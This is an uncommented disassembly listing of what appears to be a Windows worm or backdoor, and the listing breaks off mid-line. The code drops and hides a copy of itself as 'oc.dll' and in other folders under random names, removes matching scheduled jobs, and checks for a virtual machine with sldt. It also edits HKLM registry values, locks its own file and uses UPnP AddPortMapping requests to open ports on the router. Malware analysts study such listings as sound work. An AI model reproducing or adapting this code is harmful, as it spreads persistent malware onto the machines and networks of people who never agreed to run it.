DATA XREF: sub_9AED38+Do ; sub_9AED5A+Do offset loc_9A9646, <offset Binding>, 0, 0, 0, 0, \ offset word_9A57BA, 1, 50002h, 0, 600016Eh, 0, 0, 0, \ 1, 0, 0, 0> byte_9A69C8 db 0 ; DATA XREF: sub_9AEF58+44r byte_9A69C9 db 10h ; DATA XREF: sub_9AEF58+4Cr word_9A69CA dw 1 ; DATA XREF: sub_9AEF58+54r dd 4161111h, 8041212h, 41613h, 51717h, 61818h, 131C19h dd 0B1D1Dh, 0C391Eh, 73E3Ah, 8403Fh, 0E4141h, 0D4545h dd 104442h, 114646h, 124847h, 144B49h, 154C4Ch, 16524Dh dd 195C53h, 0A6F5Dh, 1D7170h, 1F7272h ; char SubBlock[] SubBlock db '\VarFileInfo\Translation',0 ; DATA XREF: sub_9AED7C+95o align 10h stru_9A6A40 _msEH <0FFFFFFFFh, offset loc_9AEE4B, offset loc_9AEE4F> ; DATA XREF: sub_9AED7C+5o align 10h stru_9A6A50 _msEH <0FFFFFFFFh, offset loc_9AEFC8, offset loc_9AEFCC> ; DATA XREF: sub_9AEF58+2o dword_9A6A5C dd 8A686FDBh, 236FDB6Bh, 346FF77Ah, 0E3A5E5DCh, 428492B2h ; DATA XREF: sub_9AEFDD+42o dd 4199099Bh, 251812ABh, 735h, 0 stru_9A6A80 _msEH <0FFFFFFFFh, offset loc_9AF0AB, offset loc_9AF0AF> ; DATA XREF: sub_9AEFDD+2o align 10h stru_9A6A90 _msEH <0FFFFFFFFh, offset loc_9AF186, offset loc_9AF18A> ; DATA XREF: sub_9AF0BC+5o dd 2 dup(0Ch), 2 dup(7), 0Eh, 80h, 4000h, 7Ch, 1000000h dd 8000h dword_9A6AC4 dd 1F3F3CDDh, 48F359BFh, 5ABC64A1h, 60516632h ; DATA XREF: sub_9B17CA+EDo byte_9A6AD4 db 19h ; DATA XREF: sub_9B17CA+11Do ; sub_9B213F+FEr db 0Eh, 9, 7 dd 4040505h, 3030304h, 2020202h ; char aGetSHttp1_1Hos[] aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B3F00+D1o db 'Host: %s:%d',0Dh,0Ah db 'Connection: Close',0Dh,0Ah db 0Dh,0Ah,0 ; char asc_9A6B18[] asc_9A6B18 db '://',0 ; DATA XREF: sub_9B410C+9o aService db 'service',0 ; DATA XREF: sub_9B4526+2Ao ; sub_9B4581+18o ; char aUrnSchemasUp_2[] aUrnSchemasUp_2 db 'urn:schemas-upnp-org:service:WANPPPConnection:1',0 ; DATA XREF: .text:009A6D2Co ; sub_9B4581+A4o ; char aUrnSchemasUp_1[] aUrnSchemasUp_1 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: .text:009A6D28o ; sub_9B4581:loc_9B4614o align 4 ; char aUrnSchemasUpnp[] aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1',0 ; DATA XREF: sub_9B4581+39o ; sub_9B4B6B+77o ; char aScpdurl[] aScpdurl db 'SCPDURL',0 ; DATA XREF: sub_9B468C:loc_9B46F5o ; char aEventsuburl[] aEventsuburl db 'eventSubURL',0 ; DATA XREF: sub_9B468C:loc_9B46DCo ; char aControlurl[] aControlurl db 'controlURL',0 ; DATA XREF: sub_9B468C:loc_9B46C3o align 4 ; char aServicetype[] aServicetype db 'serviceType',0 ; DATA XREF: sub_9B468C:loc_9B46AAo ; char aUrlbase[] aUrlbase db 'URLBase',0 ; DATA XREF: sub_9B468C+5o ; char aPostSHttp1_1Ho[] aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B4735+51o db 'Host: %s%s',0Dh,0Ah db 'User-Agent: POSIX, UPnP/1.0',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 'Content-Type: text/xml',0Dh,0Ah db 'SOAPAction: "%s"',0Dh,0Ah db 'Connection: Close',0Dh,0Ah db 'Cache-Control: no-cache',0Dh,0Ah db 'Pragma: no-cache',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char aHu[] aHu db ':%hu',0 ; DATA XREF: sub_9B4735+2Do align 8 aContentLength db 'content-length',0 ; DATA XREF: sub_9B4826+5o align 4 ; char aMSearchHttp1_1[] aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B4EE4+103o db 'HOST: 239.255.255.250:1900',0Dh,0Ah db 'ST: %s',0Dh,0Ah db 'MAN: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 align 4 off_9A6D24 dd offset aUrnSchemasUp_0 ; DATA XREF: sub_9B4EE4+E8o ; "urn:schemas-upnp-org:device:InternetGat"... dd offset aUrnSchemasUp_1 ; "urn:schemas-upnp-org:service:WANIPConne"... dd offset aUrnSchemasUp_2 ; "urn:schemas-upnp-org:service:WANPPPConn"... dd offset aUpnpRootdevice ; "upnp:rootdevice" align 8 aUpnpRootdevice db 'upnp:rootdevice',0 ; DATA XREF: .text:009A6D30o aUrnSchemasUp_0 db 'urn:schemas-upnp-org:device:InternetGatewayDevice:1',0 ; DATA XREF: .text:off_9A6D24o aSt db 'st',0 ; DATA XREF: sub_9B488E+6Co align 10h aLocation db 'location',0 ; DATA XREF: sub_9B488E+47o align 4 ; char aConnected[] aConnected db 'Connected',0 ; DATA XREF: sub_9B4B2C+2Bo align 4 ; char aSBodySEnvelope[] aSBodySEnvelope db '></s:Body></s:Envelope>',0Dh,0Ah,0 ; DATA XREF: sub_9B4C5A+102o align 8 ; char a?xmlVersion1_1[] a?xmlVersion1_1 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_9B4C5A+5Eo db '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s' db ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Bod' db 'y><m:%s xmlns:m="%s">',0 align 4 ; char a?xmlVersion1_0[] a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_9B4C5A+45o db '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s' db ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Bod' db 'y><m:%s xmlns:m="%s"></m:%s></s:Body></s:Envelope>',0Dh,0Ah,0 align 4 ; char aSS[] aSS db '%s#%s',0 ; DATA XREF: sub_9B4C5A+23o align 10h ; char cp[] cp db '239.255.255.250',0 ; DATA XREF: sub_9B4EE4+7Fo ; char aErrorcode[] aErrorcode db 'errorCode',0 ; DATA XREF: sub_9B5214+105o ; sub_9B5353+99o ... align 4 ; char aNewlastconnect[] aNewlastconnect db 'NewLastConnectionError',0 ; DATA XREF: sub_9B5214+86o align 4 ; char aNewconnections[] aNewconnections db 'NewConnectionStatus',0 ; DATA XREF: sub_9B5214+75o ; char aNewuptime[] aNewuptime db 'NewUptime',0 ; DATA XREF: sub_9B5214+64o align 4 aGetstatusinfo db 'GetStatusInfo',0 ; DATA XREF: sub_9B5214+3Co align 4 ; char aNewexternalipa[] aNewexternalipa db 'NewExternalIPAddress',0 ; DATA XREF: sub_9B5353+6Do align 4 aGetexternalipa db 'GetExternalIPAddress',0 ; DATA XREF: sub_9B5353+45o align 4 ; char aNewleasedurati[] aNewleasedurati db 'NewLeaseDuration',0 ; DATA XREF: sub_9B542A+BBo ; sub_9B5636+196o align 4 aAddportmapping db 'AddPortMapping',0 ; DATA XREF: sub_9B542A+B3o align 4 ; char aNewportmapping[] aNewportmapping db 'NewPortMappingDescription',0 ; DATA XREF: sub_9B542A+96o ; sub_9B5636+16Fo align 4 ; char aNewenabled[] aNewenabled db 'NewEnabled',0 ; DATA XREF: sub_9B542A+88o ; sub_9B5636+148o align 10h ; char aNewinternalcli[] aNewinternalcli db 'NewInternalClient',0 ; DATA XREF: sub_9B542A+81o ; sub_9B5636+FFo ... align 4 ; char aNewinternalpor[] aNewinternalpor db 'NewInternalPort',0 ; DATA XREF: sub_9B542A+7Ao ; sub_9B5636+125o ... ; char aNewprotocol[] aNewprotocol db 'NewProtocol',0 ; DATA XREF: sub_9B542A+70o ; sub_9B5561+62o ... ; char aNewexternalpor[] aNewexternalpor db 'NewExternalPort',0 ; DATA XREF: sub_9B542A+66o ; sub_9B5561+56o ... ; char aNewremotehost[] aNewremotehost db 'NewRemoteHost',0 ; DATA XREF: sub_9B542A+60o ; sub_9B5561+4Do ... align 10h aDeleteportmapp db 'DeletePortMapping',0 ; DATA XREF: sub_9B5561+45o align 4 aNewportmappi_0 db 'NewPortMappingIndex',0 ; DATA XREF: sub_9B5636+5Ao aGetgenericport db 'GetGenericPortMappingEntry',0 ; DATA XREF: sub_9B5636+4Co align 4 aGetspecificpor db 'GetSpecificPortMappingEntry',0 ; DATA XREF: sub_9B5837+5Do dd 89ABCDEFh, 1234567h, 2425CFA0h, 7311C281h dword_9A70E0 dd 2425CFA0h, 7311C281h, 34AAC8E7h, 64322864h, 0EF68B7C1h ; DATA XREF: sub_9B66FE+B6o dd 0B60450E9h, 8D9F06F1h, 0E8FB2390h, 0A691E5BFh, 0DD2E76CBh dd 2C30BC41h, 0CD0D63Bh, 23058F8Ah, 1F8CCF68h, 88E3775Dh dd 54E5ED5Bh, 0A6D6031h, 4AD12AAEh, 88222E0Dh, 3E7F16BBh dd 3FB50C2Ch, 8AF8671Dh, 8BD25C31h, 995AD117h, 4C4B633h dd 0C878C1DDh, 7A1552ACh, 3B72066Ch, 631EFFCBh, 0D6F3522h byte_9A7158 db 30h ; DATA XREF: sub_9B6A6A+38r ; sub_9B6A6A+4Br a123456789abcde db '123456789abcdef',0 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_9A7170 proc near ; CODE XREF: StartAddress:loc_9A77C5p VersionInformation= _OSVERSIONINFOA ptr -0A0h var_C = word ptr -0Ch Data = byte ptr -4 push ebp lea ebp, [esp-78h] sub esp, 0A0h push ebx push esi push edi push 26h pop ecx xor eax, eax mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch lea edi, [ebp+78h+VersionInformation.dwMajorVersion] rep stosd lea eax, [ebp+78h+VersionInformation] push eax ; lpVersionInformation mov dword ptr [ebp+78h+Data], 0Ah call GetVersionExA cmp [ebp+78h+VersionInformation.dwMajorVersion], 5 jnz short loc_9A71FC cmp [ebp+78h+VersionInformation.dwMinorVersion], 0 jz short loc_9A71B9 cmp [ebp+78h+VersionInformation.dwMinorVersion], 1 jnz short loc_9A71FC cmp [ebp+78h+var_C], 2 jnb short loc_9A71FC loc_9A71B9: ; CODE XREF: sub_9A7170+3Aj lea eax, [ebp+78h+Data] push eax ; lpData mov ebx, offset dword_9A1474 push ebx ; lpValueName mov edi, offset dword_9A1440 push edi ; lpSubKey mov esi, 80000002h push esi ; int call sub_9AC117 add esp, 10h test eax, eax jnz short loc_9A71E4 mov dword ptr [ebp+78h+Data], 0FFFFFEh jmp short loc_9A721A ; --------------------------------------------------------------------------- loc_9A71E4: ; CODE XREF: sub_9A7170+69j mov eax, 0FFFFFEh cmp dword ptr [ebp+78h+Data], eax jz short loc_9A721A push eax ; Data push ebx ; lpValueName push edi ; lpSubKey push esi ; hKey call sub_9AC0F9 add esp, 10h jmp short loc_9A721A ; --------------------------------------------------------------------------- loc_9A71FC: ; CODE XREF: sub_9A7170+34j ; sub_9A7170+40j ... push 1 ; int push offset Name ; lpName call sub_9AB5DC pop ecx pop ecx call sub_9A813F test eax, eax jz short loc_9A721A mov dword ptr [ebp+78h+Data], 10000000h loc_9A721A: ; CODE XREF: sub_9A7170+72j ; sub_9A7170+7Cj ... mov eax, dword ptr [ebp+78h+Data] pop edi pop esi mov ds:dword_9B9E20, eax pop ebx add ebp, 78h leave retn sub_9A7170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A722A proc near ; CODE XREF: StartAddress+1Ap ; StartAddress+6Cp ... Str1 = byte ptr -208h Str = byte ptr -104h var_103 = byte ptr -103h push ebp mov ebp, esp sub esp, 208h push ebx push esi push edi push 40h xor eax, eax pop ecx xor ebx, ebx mov [ebp+Str], bl lea edi, [ebp+var_103] rep stosd stosw stosb lea eax, [ebp+Str] push eax ; Str mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" push esi ; Source call sub_9AC27E pop ecx pop ecx push 104h ; uSize lea eax, [ebp+Str1] push eax ; lpBuffer call GetSystemDirectoryA push 3 ; MaxCount lea eax, [ebp+Str] push eax ; Str lea eax, [ebp+Str1] push eax ; Str1 call _strnicmp add esp, 0Ch test eax, eax jnz short loc_9A72C0 push esi ; Str call strlen cmp eax, 4 pop ecx jbe short loc_9A72BB push offset Str2 ; "Ø" push esi ; Str call strlen sub esi, 4 pop ecx add eax, esi push eax ; Str1 call _stricmp test eax, eax pop ecx pop ecx jz short loc_9A72C3 loc_9A72BB: ; CODE XREF: sub_9A722A+71j or ebx, 0FFFFFFFFh jmp short loc_9A72C3 ; --------------------------------------------------------------------------- loc_9A72C0: ; CODE XREF: sub_9A722A+65j push 0FFFFFFFEh pop ebx loc_9A72C3: ; CODE XREF: sub_9A722A+8Fj ; sub_9A722A+94j pop edi pop esi mov eax, ebx pop ebx leave retn sub_9A722A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A72CA proc near ; CODE XREF: sub_9A799E+118p pSid1 = dword ptr -28h var_24 = dword ptr -24h pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY ptr -20h var_18 = dword ptr -18h hObject = dword ptr -14h var_10 = dword ptr -10h ReturnLength = dword ptr -0Ch pSid2 = dword ptr -8 pSid = dword ptr -4 push ebp mov ebp, esp sub esp, 28h push ebx lea eax, [ebp+hObject] push eax ; TokenHandle xor ebx, ebx push 8 ; DesiredAccess mov [ebp+var_18], ebx call GetCurrentProcess push eax ; ProcessHandle call OpenProcessToken test eax, eax jz loc_9A740A push esi mov esi, GetTokenInformation lea eax, [ebp+ReturnLength] push eax ; ReturnLength push ebx ; TokenInformationLength push ebx ; TokenInformation push 2 ; TokenInformationClass push [ebp+hObject] ; TokenHandle call esi ; GetTokenInformation test eax, eax jnz loc_9A7400 call GetLastError cmp eax, 7Ah jnz loc_9A7400 push edi push [ebp+ReturnLength] ; dwBytes push 40h ; uFlags call GlobalAlloc mov edi, eax cmp edi, ebx jz loc_9A73FF lea eax, [ebp+ReturnLength] push eax ; ReturnLength push [ebp+ReturnLength] ; TokenInformationLength push edi ; TokenInformation push 2 ; TokenInformationClass push [ebp+hObject] ; TokenHandle call esi ; GetTokenInformation test eax, eax jz loc_9A73F8 mov esi, AllocateAndInitializeSid lea eax, [ebp+pSid2] push eax ; pSid push ebx ; nSubAuthority7 push ebx ; nSubAuthority6 push ebx ; nSubAuthority5 push ebx ; nSubAuthority4 push ebx ; nSubAuthority3 push ebx ; nSubAuthority2 push ebx ; nSubAuthority1 push 4 ; nSubAuthority0 push 1 ; nSubAuthorityCount lea eax, [ebp+pIdentifierAuthority] push eax ; pIdentifierAuthority mov [ebp+pSid2], ebx mov [ebp+pSid], ebx mov [ebp+pIdentifierAuthority.Value], bl mov [ebp+pIdentifierAuthority.Value+1], bl mov [ebp+pIdentifierAuthority.Value+2], bl mov [ebp+pIdentifierAuthority.Value+3], bl mov [ebp+pIdentifierAuthority.Value+4], bl mov [ebp+pIdentifierAuthority.Value+5], 5 call esi ; AllocateAndInitializeSid lea eax, [ebp+pSid] push eax ; pSid push ebx ; nSubAuthority7 push ebx ; nSubAuthority6 push ebx ; nSubAuthority5 push ebx ; nSubAuthority4 push ebx ; nSubAuthority3 push ebx ; nSubAuthority2 push ebx ; nSubAuthority1 push 6 ; nSubAuthority0 push 1 ; nSubAuthorityCount lea eax, [ebp+pIdentifierAuthority] push eax ; pIdentifierAuthority call esi ; AllocateAndInitializeSid cmp [edi], ebx mov [ebp+var_18], 1 mov [ebp+var_10], ebx jbe short loc_9A73DE lea esi, [edi+4] loc_9A73A3: ; CODE XREF: sub_9A72CA+10Dj mov eax, [esi] push [ebp+pSid2] ; pSid2 mov ecx, [esi+4] push eax ; pSid1 mov [ebp+pSid1], eax mov [ebp+var_24], ecx call EqualSid test eax, eax jnz short loc_9A73DB push [ebp+pSid] ; pSid2 push [ebp+pSid1] ; pSid1 call EqualSid test eax, eax jnz short loc_9A73DE inc [ebp+var_10] mov eax, [ebp+var_10] add esi, 8 cmp eax, [edi] jb short loc_9A73A3 jmp short loc_9A73DE ; --------------------------------------------------------------------------- loc_9A73DB: ; CODE XREF: sub_9A72CA+F0j mov [ebp+var_18], ebx loc_9A73DE: ; CODE XREF: sub_9A72CA+D4j ; sub_9A72CA+100j ... cmp [ebp+pSid], ebx mov esi, FreeSid jz short loc_9A73EE push [ebp+pSid] ; pSid call esi ; FreeSid loc_9A73EE: ; CODE XREF: sub_9A72CA+11Dj cmp [ebp+pSid2], ebx jz short loc_9A73F8 push [ebp+pSid2] ; pSid call esi ; FreeSid loc_9A73F8: ; CODE XREF: sub_9A72CA+79j ; sub_9A72CA+127j push edi ; hMem call GlobalFree loc_9A73FF: ; CODE XREF: sub_9A72CA+62j pop edi loc_9A7400: ; CODE XREF: sub_9A72CA+3Dj ; sub_9A72CA+4Cj push [ebp+hObject] ; hObject call CloseHandle pop esi loc_9A740A: ; CODE XREF: sub_9A72CA+21j mov eax, [ebp+var_18] pop ebx leave retn sub_9A72CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A7410 proc near ; CODE XREF: sub_9A799E+17Bp First = byte ptr -114h TotalEntries = dword ptr -10h var_C = dword ptr -0Ch EntriesRead = dword ptr -8 Buffer = dword ptr -4 push ebp mov ebp, esp sub esp, 114h push esi xor esi, esi push esi ; ResumeHandle lea eax, [ebp+TotalEntries] push eax ; TotalEntries lea eax, [ebp+EntriesRead] push eax ; EntriesRead push 0FFFFFFFFh ; PrefferedMaximumLength lea eax, [ebp+Buffer] push eax ; PointerToBuffer push esi ; Servername mov [ebp+EntriesRead], esi mov [ebp+Buffer], esi call NetScheduleJobEnum cmp [ebp+EntriesRead], esi mov [ebp+var_C], esi jbe loc_9A74D1 push ebx push edi xor ebx, ebx loc_9A7447: ; CODE XREF: sub_9A7410+B9j push esi ; lpUsedDefaultChar push esi ; lpDefaultChar push 104h ; cbMultiByte lea eax, [ebp+First] push eax ; lpMultiByteStr mov eax, [ebp+Buffer] push 0FFFFFFFFh ; cchWideChar push dword ptr [ebx+eax+10h] ; lpWideCharStr push esi ; dwFlags push esi ; CodePage call WideCharToMultiByte test eax, eax jz short loc_9A74BD push 5Ch ; Ch push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" call strrchr mov edi, eax cmp edi, esi pop ecx pop ecx jnz short loc_9A7486 mov edi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" jmp short loc_9A7487 ; --------------------------------------------------------------------------- loc_9A7486: ; CODE XREF: sub_9A7410+6Dj inc edi loc_9A7487: ; CODE XREF: sub_9A7410+74j push offset Srch ; lpSrch lea eax, [ebp+First] push eax ; lpFirst call StrStrIA test eax, eax jz short loc_9A74BD push edi ; lpSrch lea eax, [ebp+First] push eax ; lpFirst call StrStrIA test eax, eax jz short loc_9A74BD mov eax, [ebp+Buffer] mov eax, [ebx+eax] push eax ; MaxJobId push eax ; MinJobId push esi ; Servername call NetScheduleJobDel loc_9A74BD: ; CODE XREF: sub_9A7410+58j ; sub_9A7410+8Bj ... inc [ebp+var_C] mov eax, [ebp+var_C] add ebx, 14h cmp eax, [ebp+EntriesRead] jb loc_9A7447 pop edi pop ebx loc_9A74D1: ; CODE XREF: sub_9A7410+2Dj cmp [ebp+Buffer], esi pop esi jz short locret_9A74DF push [ebp+Buffer] ; Buffer call NetApiBufferFree locret_9A74DF: ; CODE XREF: sub_9A7410+C5j leave retn sub_9A7410 endp ; =============== S U B R O U T I N E ======================================= sub_9A74E1 proc near ; CODE XREF: sub_9A799E+13Bp push esi push edi push offset dword_9A14B0 ; lpSrch xor edi, edi call sub_9ABF43 test eax, eax pop ecx mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" jz short loc_9A7506 push esi ; lpBuffer push eax ; dwProcessId call sub_9ABCA4 test eax, eax pop ecx pop ecx jnz short loc_9A7522 loc_9A7506: ; CODE XREF: sub_9A74E1+16j push offset dword_9A14A0 ; Str2 call sub_9ABC24 test eax, eax pop ecx jz short loc_9A7525 push esi ; lpBuffer push eax ; dwProcessId call sub_9ABCA4 test eax, eax pop ecx pop ecx jz short loc_9A7525 loc_9A7522: ; CODE XREF: sub_9A74E1+23j xor edi, edi inc edi loc_9A7525: ; CODE XREF: sub_9A74E1+32j ; sub_9A74E1+3Fj mov eax, edi pop edi pop esi retn sub_9A74E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A752A proc near ; CODE XREF: sub_9A7670+6Ep ; sub_9A7670+C7p ... NewFileName = byte ptr -120h var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch hMem = dword ptr -0Ch nNumberOfBytesToWrite= dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 120h mov eax, ds:dword_9B9F34 push ebx push esi xor eax, 45419005h push edi push eax ; Seed call srand call rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_1C] add edx, 5 push edx push eax call sub_9AB647 call sub_9AB510 lea eax, [ebp+var_1C] push eax push [ebp+arg_0] mov edi, 104h push offset Format ; "„" lea eax, [ebp+NewFileName] push edi ; Count push eax ; Dest call _snprintf lea eax, [ebp+NewFileName] push 1F01FFh ; int xor ebx, ebx push eax ; lpFileName mov [ebp+var_1D], bl call sub_9AC163 add esp, 28h cmp [ebp+arg_4], 0FFFFFFFFh mov [ebp+var_4], ebx mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" jnz short loc_9A75C6 lea eax, [ebp+NewFileName] push eax ; lpNewFileName push esi ; lpExistingFileName call MoveFileA test eax, eax jz short loc_9A75C6 mov [ebp+var_4], 1 jmp short loc_9A7621 ; --------------------------------------------------------------------------- loc_9A75C6: ; CODE XREF: sub_9A752A+7Fj ; sub_9A752A+91j lea eax, [ebp+nNumberOfBytesToWrite] push esi ; lpFileName push eax ; int mov [ebp+nNumberOfBytesToWrite], ebx call sub_9AB76E cmp eax, ebx pop ecx pop ecx mov [ebp+hMem], eax jz loc_9A7668 cmp [ebp+nNumberOfBytesToWrite], ebx jz short loc_9A7613 lea ecx, [ebp+NewFileName] push ecx ; lpFileName push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite push eax ; lpBuffer call sub_9AB7F5 add esp, 0Ch test eax, eax jz short loc_9A7613 cmp [ebp+arg_4], 0FFFFFFFFh mov [ebp+var_4], 1 jnz short loc_9A7613 push 4 ; dwFlags push ebx ; lpNewFileName push esi ; lpExistingFileName call MoveFileExA loc_9A7613: ; CODE XREF: sub_9A752A+B9j ; sub_9A752A+D0j ... push [ebp+hMem] ; hMem call GlobalFree cmp [ebp+var_4], ebx jz short loc_9A7668 loc_9A7621: ; CODE XREF: sub_9A752A+9Aj lea eax, [ebp+NewFileName] push eax ; lpFileName call sub_9AB6A9 lea eax, [ebp+NewFileName] push eax ; lpMultiByteStr call sub_9AD71D push edi ; Count lea eax, [ebp+NewFileName] push eax ; Source push esi ; Dest call strncpy add esp, 14h mov ds:byte_9B9F2B, bl call GetVersion cmp al, 6 jb short loc_9A7668 push ebx ; int push offset CommandLine ; lpCommandLine call sub_9AC2CA pop ecx pop ecx loc_9A7668: ; CODE XREF: sub_9A752A+B0j ; sub_9A752A+F5j ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_9A752A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A7670 proc near ; CODE XREF: StartAddress+26p Buffer = byte ptr -104h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push ebx push esi sldt eax xor ebx, ebx cmp ax, bx jz short loc_9A76C1 cmp [ebp+arg_0], 0FFFFFFFEh mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" jz short loc_9A76B4 push 1F01FFh ; int push esi ; lpFileName call sub_9AC163 pop ecx pop ecx push 4 ; dwFlags push ebx ; lpNewFileName push esi ; lpExistingFileName call MoveFileExA loc_9A76A7: ; CODE XREF: sub_9A7670+4Fj cmp [ebp+arg_0], 0FFFFFFFEh jz short loc_9A76B4 push esi ; lpFileName call DeleteFileA loc_9A76B4: ; CODE XREF: sub_9A7670+1Ej ; sub_9A7670+3Bj push 1388h ; dwMilliseconds call Sleep jmp short loc_9A76A7 ; --------------------------------------------------------------------------- loc_9A76C1: ; CODE XREF: sub_9A7670+13j mov esi, 104h push esi ; uSize lea eax, [ebp+Buffer] push eax ; lpBuffer call GetSystemDirectoryA push [ebp+arg_0] lea eax, [ebp+Buffer] push eax call sub_9A752A test eax, eax pop ecx pop ecx jnz loc_9A7785 push edi mov edi, SHGetSpecialFolderPathA push ebx ; fCreate push 26h ; csidl lea eax, [ebp+Buffer] push eax ; pszPath push ebx ; hwnd call edi ; SHGetSpecialFolderPathA call rand cdq push 2 pop ecx idiv ecx mov eax, offset Source test edx, edx jnz short loc_9A771B mov eax, offset dword_9A1520 loc_9A771B: ; CODE XREF: sub_9A7670+A4j push esi ; Count push eax ; Source lea eax, [ebp+Buffer] push eax ; Dest call strncat push [ebp+arg_0] lea eax, [ebp+Buffer] push eax mov [ebp+var_1], bl call sub_9A752A add esp, 14h test eax, eax jnz short loc_9A7784 push ebx ; fCreate push 1Ah ; csidl lea eax, [ebp+Buffer] push eax ; pszPath push ebx ; hwnd call edi ; SHGetSpecialFolderPathA push [ebp+arg_0] lea eax, [ebp+Buffer] push eax call sub_9A752A test eax, eax pop ecx pop ecx jnz short loc_9A7784 lea eax, [ebp+Buffer] push eax ; lpBuffer push esi ; nBufferLength call GetTempPathA push [ebp+arg_0] lea eax, [ebp+Buffer] push eax call sub_9A752A pop ecx pop ecx loc_9A7784: ; CODE XREF: sub_9A7670+D1j ; sub_9A7670+F3j pop edi loc_9A7785: ; CODE XREF: sub_9A7670+77j pop esi pop ebx leave retn sub_9A7670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn ; DWORD __stdcall StartAddress(LPVOID) StartAddress proc near ; DATA XREF: sub_9A799E+1FFo var_1AC = dword ptr -1ACh dwFlags = dword ptr -198h var_194 = dword ptr -194h WSAData = WSAData ptr -190h sub esp, 198h push ebx push ebp push esi push edi push 8003h ; uMode call SetErrorMode call sub_9AB510 call sub_9A722A xor esi, esi cmp eax, esi jge short loc_9A77B5 push eax call sub_9A7670 pop ecx loc_9A77B5: ; CODE XREF: StartAddress+23j sldt eax cmp ax, si jz short loc_9A77C5 push 0FFFFFFFFh ; dwMilliseconds call Sleep loc_9A77C5: ; CODE XREF: StartAddress+32j call sub_9A7170 call GetVersion cmp ax, 5 jnz short loc_9A77DD call sub_9AA5A0 jmp short loc_9A77E2 ; --------------------------------------------------------------------------- loc_9A77DD: ; CODE XREF: StartAddress+4Bj call sub_9AA56C loc_9A77E2: ; CODE XREF: StartAddress+52j push offset dword_9B9F38 call sub_9A81F5 pop ecx mov [esp+1A8h+dwFlags], esi mov [esp+1A8h+var_194], esi call sub_9A722A cmp eax, 0FFFFFFFEh mov edi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" jz short loc_9A7811 push 120089h ; int push edi ; lpFileName call sub_9AC163 pop ecx pop ecx loc_9A7811: ; CODE XREF: StartAddress+79j push edi ; lpFileName push offset nNumberOfBytesToWrite ; int call sub_9AB76E cmp eax, esi pop ecx pop ecx mov ds:lpBuffer, eax jz short loc_9A7858 mov ecx, [eax+3Ch] add ecx, eax movzx edx, word ptr [ecx+6] lea edx, [edx+edx*4] lea edx, [ecx+edx*8+0F8h] mov ecx, [edx-18h] add ecx, [edx-14h] mov edx, ds:nNumberOfBytesToWrite cmp edx, ecx jbe short loc_9A7860 add eax, ecx sub edx, ecx mov [esp+1A8h+dwFlags], eax mov [esp+1A8h+var_194], edx jmp short loc_9A7860 ; --------------------------------------------------------------------------- loc_9A7858: ; CODE XREF: StartAddress+9Cj push 0FFFFFFFFh ; dwMilliseconds call Sleep loc_9A7860: ; CODE XREF: StartAddress+BFj ; StartAddress+CDj mov ebx, CreateFileA push esi ; hTemplateFile push esi ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push esi ; lpSecurityAttributes push 2 ; dwShareMode mov ebp, 80000000h push ebp ; dwDesiredAccess push edi ; lpFileName call ebx ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_9A7891 xor eax, eax push eax ; hTemplateFile push eax ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push eax ; lpSecurityAttributes push 3 ; dwShareMode push ebp ; dwDesiredAccess push edi ; lpFileName call ebx ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_9A78A8 loc_9A7891: ; CODE XREF: StartAddress+F2j xor ebx, ebx push ebx ; nNumberOfBytesToLockHigh push ebx ; lpFileSizeHigh push esi ; hFile call GetFileSize push eax ; nNumberOfBytesToLockLow push ebx ; dwFileOffsetHigh push ebx ; dwFileOffsetLow push esi ; hFile call LockFile jmp short loc_9A78AA ; --------------------------------------------------------------------------- loc_9A78A8: ; CODE XREF: StartAddress+106j xor ebx, ebx loc_9A78AA: ; CODE XREF: StartAddress+11Dj call sub_9A722A cmp eax, 0FFFFFFFEh jz short loc_9A78BE push 20h ; int push edi ; lpFileName call sub_9AC163 pop ecx pop ecx loc_9A78BE: ; CODE XREF: StartAddress+129j push offset 